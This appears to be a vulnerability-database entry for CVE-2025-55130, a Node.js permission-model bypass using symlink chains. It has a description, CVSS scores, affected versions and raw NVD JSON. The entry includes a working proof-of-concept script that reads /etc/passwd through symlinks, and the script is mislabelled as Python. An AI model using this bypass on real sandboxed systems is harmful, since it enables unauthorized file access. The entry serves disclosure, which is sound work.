Security Vulnerability Report
中文
CVE-2025-55130 CVSS 9.1 CRITICAL

CVE-2025-55130

Published: 2026-01-20 21:16:03
Last Modified: 2026-02-03 21:29:51

Description

A flaw in Node.js’s Permissions model allows attackers to bypass `--allow-fs-read` and `--allow-fs-write` restrictions using crafted relative symlink paths. By chaining directories and symlinks, a script granted access only to the current directory can escape the allowed path and read sensitive files. This breaks the expected isolation guarantees and enables arbitrary file read/write, leading to potential system compromise. This vulnerability affects users of the permission model on Node.js v20, v22, v24, and v25.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
Node.js v20 < 修复版本
Node.js v22 < 修复版本
Node.js v24 < 修复版本
Node.js v25 < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55130 PoC - Node.js Permissions Bypass via Symlink // Run with: node --allow-fs-read=./test poc.js const fs = require('fs'); const path = require('path'); // Create directory structure for exploitation const testDir = '/tmp/cve-2025-55130-test'; const targetFile = '/etc/passwd'; try { // Clean up any existing test directory fs.rmSync(testDir, { recursive: true, force: true }); } catch (e) {} // Create test directory structure fs.mkdirSync(testDir, { recursive: true }); fs.mkdirSync(path.join(testDir, 'subdir'), { recursive: true }); // Create symlink chain to escape allowed directory // Link: testDir/link -> /etc fs.symlinkSync('/etc', path.join(testDir, 'link')); // Create nested symlink for deeper traversal // Link: testDir/subdir/escape -> ../../ fs.symlinkSync('../../', path.join(testDir, 'subdir', 'escape')); console.log('[+] Test environment created'); console.log('[+] Symlink chain: testDir/link -> /etc'); console.log('[+] Attempting to read sensitive file through symlink bypass...'); // Attempt to read /etc/passwd through the symlink // With --allow-fs-read=./test, this should be blocked // But due to CVE-2025-55130, the path traversal via symlink bypasses check try { const bypassPath = path.join(testDir, 'link', 'passwd'); console.log(`[+] Accessing path: ${bypassPath}`); const content = fs.readFileSync(bypassPath, 'utf8'); console.log('[!] VULNERABLE: Successfully read restricted file!'); console.log('[+] File content preview:'); console.log(content.split('\n').slice(0, 5).join('\n')); } catch (err) { console.log('[+] Blocked (patched version or different configuration)'); console.log(`[-] Error: ${err.message}`); } // Alternative attack: using nested symlink traversal try { const nestedPath = path.join(testDir, 'subdir', 'escape', 'etc', 'passwd'); console.log(`\n[+] Alternative bypass path: ${nestedPath}`); const content2 = fs.readFileSync(nestedPath, 'utf8'); console.log('[!] VULNERABLE: Nested symlink bypass successful!'); } catch (err) { console.log('[-] Nested bypass blocked'); } console.log('\n[!] This PoC demonstrates the symlink path traversal in Node.js permissions model'); console.log('[!] Attack chain: allowed_dir -> symlink -> arbitrary_file');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55130", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:03.177", "lastModified": "2026-02-03T21:29:50.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in Node.js’s Permissions model allows attackers to bypass `--allow-fs-read` and `--allow-fs-write` restrictions using crafted relative symlink paths. By chaining directories and symlinks, a script granted access only to the current directory can escape the allowed path and read sensitive files. This breaks the expected isolation guarantees and enables arbitrary file read/write, leading to potential system compromise.\nThis vulnerability affects users of the permission model on Node.js v20, v22, v24, and v25."}, {"lang": "es", "value": "Una falla en el modelo de permisos de Node.js permite a los atacantes eludir las restricciones `--allow-fs-read` y `--allow-fs-write` utilizando rutas de enlaces simbólicos relativos manipuladas. Al encadenar directorios y enlaces simbólicos, un script al que se le concedió acceso solo al directorio actual puede escapar de la ruta permitida y leer archivos sensibles. Esto rompe las garantías de aislamiento esperadas y permite la lectura/escritura arbitraria de archivos, lo que lleva a un posible compromiso del sistema.\nEsta vulnerabilidad afecta a los usuarios del modelo de permisos en Node.js v20, v22, v24 y v25."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "20.0.0", "versionEndExcluding": "20.20.0", "matchCriteriaId": "A78B4AE9-C1B4-4DD0-9EDF-A3A60431B6DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "22.0.0", "versionEndExcluding": "22.22.0", "matchCriteriaId": "132A7510-B3E9-4F85-9B61-A834B12DD7D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.13.0", "matchCriteriaId": "A83233BD-D901-4A1A-A3AF-0DC3E76CD2C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "25.0.0", "versionEndExcluding": "25.3.0", "matchCriteriaId": "970EF154-D905-4FDA-85CB-C3AB08BEFAEC"}]}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}